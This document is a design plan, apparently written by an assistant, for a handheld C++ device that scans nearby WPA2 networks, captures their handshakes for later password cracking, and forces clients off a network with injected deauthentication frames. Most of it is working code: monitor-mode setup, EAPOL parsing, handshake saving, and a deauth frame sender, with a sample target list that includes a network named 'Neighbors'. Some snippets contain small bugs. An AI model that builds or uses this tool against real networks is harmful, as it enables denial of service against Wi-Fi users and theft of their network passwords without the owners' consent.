WPA2 Handshake Capture - Detailed Implementation Plan

Architecture Overview

```
┌─────────────────────────────────────────────────────┐
│                  Main Application (C++)             │
├─────────────────────────────────────────────────────┤
│  PacketCapture  │  WPA2Analyzer  │  UIController  │  Storage │
│   (libpcap)     │   (parser)     │  (HW control)  │  (file)  │
└─────────────────────────────────────────────────────┘
         │                │               │
         ▼                ▼               ▼
  [WiFi Monitor]   [EAPOL Parser]   [OLED/LED/Button]
```

Phase 1: Packet Capture & Filtering

1.1 WiFi Interface Setup

Objective: Put AR9271 into monitor mode and start capturing

Steps:

1. Set interface down: `ifconfig wlan0 down`
2. Change to monitor mode: `iwconfig wlan0 mode monitor`
3. Set interface up: `ifconfig wlan0 up`
4. Set channel (optional): `iwconfig wlan0 channel 6`

Implementation:

- Use system calls or `popen()` to execute commands
- Verify monitor mode with `iwconfig wlan0` output parsing
- Handle errors if interface busy or doesn't support monitor mode

---

1.2 Packet Capture with libpcap

Filter Strategy:

```
BPF Filter: "type mgt subtype beacon or type data subtype qos-data"
```

Why this filter:

- `beacon`: To discover networks (SSID, BSSID, channel, encryption type)
- `qos-data`: Contains EAPOL frames (4-way handshake)

Packet Processing Flow:

```
libpcap_callback()
    │
    ├─> Is Beacon Frame?
    │   ├─> Extract: SSID, BSSID, Channel, Encryption (WPA2?)
    │   ├─> Check if SSID already in list (by BSSID)
    │   └─> If new + WPA2 → Add to network_list
    │
    └─> Is QoS Data Frame?
        └─> Check for EAPOL (EtherType 0x888e)
            └─> Is EAPOL Key frame?
                ├─> Message 1: ANonce + AP MAC
                ├─> Message 2: SNonce + Client MAC + MIC
                ├─> Message 3: ANonce (verify) + MIC
                └─> Message 4: MIC only
```

1.3 Frame Structure Parsing

802.11 Frame Header (24 bytes):

```
Offset  Size  Field
------  ----  -----
0       2     Frame Control
2       2     Duration
4       6     Address 1 (Destination)
10      6     Address 2 (Source)
16      6     Address 3 (BSSID)
22      2     Sequence Control
```

Beacon Frame Parsing:

```
After 802.11 header:
  → Fixed Parameters (12 bytes): timestamp, beacon interval, capability
  → Tagged Parameters:
      Tag 0: SSID (length varies)
      Tag 48: RSN Information (WPA2 indicator)
          → Check for AKM Suite: PSK (0x00-0F-AC-02)
```

EAPOL Frame (after QoS header):

```
Offset  Size  Field
------  ----  -----
0       1     Protocol Version (0x02)
1       1     Packet Type (0x03 = Key)
2       2     Packet Body Length
4       1     Descriptor Type (0x02 for EAPOL-Key)
5       2     Key Information (identifies Message 1/2/3/4)
7       2     Key Length
9       8     Replay Counter
17      32    Key Nonce (ANonce or SNonce)
49      16    Key IV
65      8     Key RSC
73      8     Reserved
81      16    MIC (Message Integrity Code)
97      2     Key Data Length
99      var   Key Data
```

Identifying Handshake Messages:

```cpp
Key Information Field (2 bytes, big-endian):
  Bit 3: Install flag (1 = Message 3)
  Bit 6: Secure flag
  Bit 8: MIC flag (1 = Message 2, 3, 4)
  Bit 9: Pairwise flag (1 = PTK, 0 = GTK)

Message 1: MIC=0, Install=0, Pairwise=1
Message 2: MIC=1, Install=0, Pairwise=1
Message 3: MIC=1, Install=1, Pairwise=1
Message 4: MIC=1, Install=0, Pairwise=1
```

1.4 Network List Management

Data Structure:

```cpp
struct WiFiNetwork {
    uint8_t bssid[6];           // Unique identifier
    std::string ssid;           // Network name
    int channel;                // WiFi channel
    int signal_strength;        // RSSI in dBm
    bool is_wpa2;               // Encryption check
    uint32_t last_seen;         // Timestamp (for aging)

    // Handshake data
    bool has_msg1;
    bool has_msg2;
    bool has_msg3;
    uint8_t anonce[32];         // From Message 1
    uint8_t snonce[32];         // From Message 2
    uint8_t ap_mac[6];          // From Message 1
    uint8_t client_mac[6];      // From Message 2
    uint8_t mic[16];            // From Message 2 or 3
    std::vector<uint8_t> eapol_frame;  // Full EAPOL for MIC verification

    bool handshake_complete() const {
        return has_msg1 && has_msg2;  // Minimum requirement
    }
};

std::vector<WiFiNetwork> network_list;
```

Deduplication Logic:

```cpp
bool is_duplicate(const WiFiNetwork& net) {
    for (const auto& existing : network_list) {
        if (memcmp(existing.bssid, net.bssid, 6) == 0) {
            // Found duplicate, update signal strength if stronger
            if (net.signal_strength > existing.signal_strength) {
                existing.signal_strength = net.signal_strength;
                existing.last_seen = time(NULL);
            }
            return true;
        }
    }
    return false;
}
```

Network Aging:

- Remove networks not seen for 60 seconds
- Prevents stale data from old scans

Phase 2: Hardware Integration

2.1 State Machine Design

Application States:

```
IDLE
  |
  ├─ [SELECT Button] → SCANNING
  |
SCANNING
  |
  ├─ [Capturing packets, updating OLED]
  ├─ [UP/DOWN Buttons] → Navigate list
  ├─ [SELECT Button on network] → CAPTURING_HANDSHAKE
  ├─ [BACK Button] → IDLE
  |
CAPTURING_HANDSHAKE
  |
  ├─ [Monitoring specific BSSID]
  ├─ [Send deauth if needed]
  ├─ [Handshake complete] → HANDSHAKE_CAPTURED
  ├─ [BACK Button] → SCANNING
  |
HANDSHAKE_CAPTURED
  |
  ├─ [Display success message]
  ├─ [Save to file]
  ├─ [SELECT Button] → CRACKING (future phase)
  └─ [BACK Button] → SCANNING
```

2.2 LED Status Indicators

LED Mapping:

LED Color	State	Meaning
RED	IDLE	System ready, no scanning
YELLOW	SCANNING	Discovering networks
GREEN	CAPTURING_HANDSHAKE	Targeting specific network
BLUE	HANDSHAKE_CAPTURED	Success! Handshake saved

Implementation:

```cpp
class LEDController {
private:
    const char* led_paths[4] = {
        "/sys/class/leds/wpa2:red:status/brightness",
        "/sys/class/leds/wpa2:yellow:status/brightness",
        "/sys/class/leds/wpa2:green:status/brightness",
        "/sys/class/leds/wpa2:blue:status/brightness"
    };

public:
    enum LED { RED, YELLOW, GREEN, BLUE };

    void set(LED led, bool on) {
        int fd = open(led_paths[led], O_WRONLY);
        write(fd, on ? "255" : "0", on ? 3 : 1);
        close(fd);
    }

    void set_state(AppState state) {
        // Turn off all LEDs
        for (int i = 0; i < 4; i++) set((LED)i, false);

        // Turn on appropriate LED
        switch (state) {
            case IDLE: set(RED, true); break;
            case SCANNING: set(YELLOW, true); break;
            case CAPTURING_HANDSHAKE: set(GREEN, true); break;
            case HANDSHAKE_CAPTURED: set(BLUE, true); break;
        }
    }
};
```

2.3 Button Input Handling

GPIO Button Reading:

```cpp
class ButtonController {
private:
    int event_fd;  // /dev/input/event1 (from gpio-keys)

public:
    enum Button { UP, DOWN, SELECT, BACK, NONE };

    ButtonController() {
        event_fd = open("/dev/input/event1", O_RDONLY | O_NONBLOCK);
    }

    Button get_press() {
        struct input_event ev;
        if (read(event_fd, &ev, sizeof(ev)) == sizeof(ev)) {
            if (ev.type == EV_KEY && ev.value == 1) {  // Key press (not release)
                switch (ev.code) {
                    case KEY_UP: return UP;
                    case KEY_DOWN: return DOWN;
                    case KEY_ENTER: return SELECT;
                    case KEY_ESC: return BACK;
                }
            }
        }
        return NONE;
    }
};
```

Button Behavior by State:

State	UP	DOWN	SELECT	BACK
IDLE	-	-	Start scan	-
SCANNING	Scroll up list	Scroll down list	Target network	Stop scan
CAPTURING_HANDSHAKE	-	-	-	Cancel capture
HANDSHAKE_CAPTURED	-	-	Start cracking	Back to scan

2.4 OLED Display Layout

Display Resolution: 128x64 pixels

IDLE Screen:

```
┌─────────────────────┐
│  WPA2 Auditor       │
│                     │
│  Press SELECT to    │
│  start scanning     │
│                     │
│  [Ready]            │
└─────────────────────┘
```

SCANNING Screen:

```
┌─────────────────────┐
│ Scanning... (12)    │ ← Total networks found
├─────────────────────┤
│ > MyWiFi-5G   -65   │ ← Selected (cursor)
│   GuestNet    -72   │
│   Office2.4   -58   │
│   Neighbors   -80   │
└─────────────────────┘
```

CAPTURING_HANDSHAKE Screen:

```
┌─────────────────────┐
│ Capturing:          │
│ MyWiFi-5G           │
│                     │
│ Waiting for         │
│ handshake...        │
│ [━━━━━━----] 60%    │ ← Progress or timeout
└─────────────────────┘
```

HANDSHAKE_CAPTURED Screen:

```
┌─────────────────────┐
│ SUCCESS!            │
│                     │
│ Handshake captured  │
│ for: MyWiFi-5G      │
│                     │
│ SELECT: Crack       │
│ BACK: Continue      │
└─────────────────────┘
```

OLED Library: Use existing I2C userspace library (luma.oled Python binding or custom C++ with I2C ioctl)

2.5 Integration Flow

Main Loop Structure:

```cpp
int main() {
    // Initialize hardware
    LEDController leds;
    ButtonController buttons;
    OLEDDisplay display;

    // Initialize WiFi
    setup_monitor_mode("wlan0");

    // Initialize packet capture
    PacketCapture capture("wlan0");
    capture.set_filter("type mgt subtype beacon or type data subtype qos-data");

    AppState state = IDLE;
    leds.set_state(state);

    std::vector<WiFiNetwork> networks;
    int selected_index = 0;
    WiFiNetwork* target = nullptr;

    while (true) {
        // Process packets (non-blocking)
        capture.process_packets([&](const uint8_t* data, int len) {
            if (state == SCANNING) {
                // Parse beacon or EAPOL
                if (is_beacon(data, len)) {
                    WiFiNetwork net = parse_beacon(data, len);
                    if (net.is_wpa2 && !is_duplicate(net, networks)) {
                        networks.push_back(net);
                        display.update_network_list(networks, selected_index);
                    }
                }
            } else if (state == CAPTURING_HANDSHAKE && target) {
                // Only process EAPOL for target BSSID
                if (is_eapol(data, len) && matches_bssid(data, target->bssid)) {
                    parse_eapol(data, len, *target);
                    if (target->handshake_complete()) {
                        state = HANDSHAKE_CAPTURED;
                        leds.set_state(state);
                        display.show_success(target->ssid);
                        save_handshake(*target);
                    }
                }
            }
        });

        // Handle button input
        Button btn = buttons.get_press();
        switch (state) {
            case IDLE:
                if (btn == SELECT) {
                    state = SCANNING;
                    leds.set_state(state);
                    networks.clear();
                    selected_index = 0;
                    display.show_scanning();
                }
                break;

            case SCANNING:
                if (btn == UP && selected_index > 0) {
                    selected_index--;
                    display.update_network_list(networks, selected_index);
                } else if (btn == DOWN && selected_index < networks.size() - 1) {
                    selected_index++;
                    display.update_network_list(networks, selected_index);
                } else if (btn == SELECT && !networks.empty()) {
                    target = &networks[selected_index];
                    state = CAPTURING_HANDSHAKE;
                    leds.set_state(state);
                    display.show_capturing(target->ssid);
                    // TODO: Send deauth to force handshake
                } else if (btn == BACK) {
                    state = IDLE;
                    leds.set_state(state);
                    display.show_idle();
                }
                break;

            case CAPTURING_HANDSHAKE:
                if (btn == BACK) {
                    state = SCANNING;
                    leds.set_state(state);
                    target = nullptr;
                    display.update_network_list(networks, selected_index);
                }
                break;

            case HANDSHAKE_CAPTURED:
                if (btn == SELECT) {
                    // Future: Start cracking
                } else if (btn == BACK) {
                    state = SCANNING;
                    leds.set_state(state);
                    display.update_network_list(networks, selected_index);
                }
                break;
                break;
        }

        usleep(50000);  // 50ms loop delay
    }

    return 0;
}
```

Phase 3: Data Persistence

3.1 Handshake File Format

Save as .cap file (pcap format) - Compatible with Wireshark and future cracking tools

```cpp
void save_handshake(const WiFiNetwork& net) {
    char filename[256];
    snprintf(filename, sizeof(filename),
            "/home/root/handshakes/%s_%02X%02X%02X%02X%02X%02X.cap",
            net.ssid.c_str(),
            net.bssid[0], net.bssid[1], net.bssid[2],
            net.bssid[3], net.bssid[4], net.bssid[5]);

    pcap_t* pcap_out = pcap_open_dead(DLT_IEEE802_11_RADIO, 65535);
    pcap_dumper_t* dumper = pcap_dump_open(pcap_out, filename);

    // Write EAPOL frames to .cap file
    // Include Message 1, 2, (3 if available)

    pcap_dump_close(dumper);
    pcap_close(pcap_out);
}
```

Alternative: JSON format (easier to parse for cracking phase)

```json
{
   "ssid": "MyWiFi-5G",
   "bssid": "AA:BB:CC:DD:EE:FF",
   "ap_mac": "AA:BB:CC:DD:EE:FF",
   "client_mac": "11:22:33:44:55:66",
   "anonce": "hex_string_64_chars",
   "snonce": "hex_string_64_chars",
   "mic": "hex_string_32_chars",
   "eapol_frame": "hex_string_full_frame",
   "timestamp": 1701504000
}
```

Phase 4: Deauthentication Attack (Optional)

Purpose: Force client to reconnect and capture fresh handshake

Implementation:

```cpp
void send_deauth(const uint8_t* ap_mac, const uint8_t* client_mac) {
   uint8_t deauth_frame[26] = {
      0xc0, 0x00,  // Frame Control: Deauthentication
      0x3a, 0x01,  // Duration
      // ... (client MAC, AP MAC, BSSID, sequence)
      0x07, 0x00   // Reason code: Class 3 frame from non-associated STA
   };

   // Fill in addresses
   memcpy(&deauth_frame[4], client_mac, 6);   // Destination
   memcpy(&deauth_frame[10], ap_mac, 6);      // Source
   memcpy(&deauth_frame[16], ap_mac, 6);      // BSSID

   // Send via raw socket
   pcap_inject(pcap_handle, deauth_frame, sizeof(deauth_frame));
}
```

Strategy:

- Send 5-10 deauth frames spaced 100ms apart
- Monitor for EAPOL frames immediately after
- Timeout after 30 seconds if no handshake

Summary of Key Design Decisions

1. **Packet Filtering:** BPF filter for beacons and QoS data only - reduces CPU load
2. **Deduplication:** Use BSSID (not SSID) as unique key - handles multiple APs with same name
3. **Minimal Handshake:** Only require Message 1 & 2 - sufficient for cracking
4. **State Machine:** Clear separation of concerns - easier to debug and extend
5. **Non-blocking I/O:** Buttons and packets processed in same loop - responsive UI
6. **File Format:** pcap format - standard and portable

Next Steps

1. Confirm this architecture matches your vision
2. Identify any missing requirements
3. Start with Phase 1 implementation (packet capture & parsing)
4. Test each component independently before integration

Questions:

- Do you want channel hopping during scanning, or stick to single channel?
- Should we store multiple handshakes for same network (different clients)?
- Do you want to implement deauth attack now or defer to later?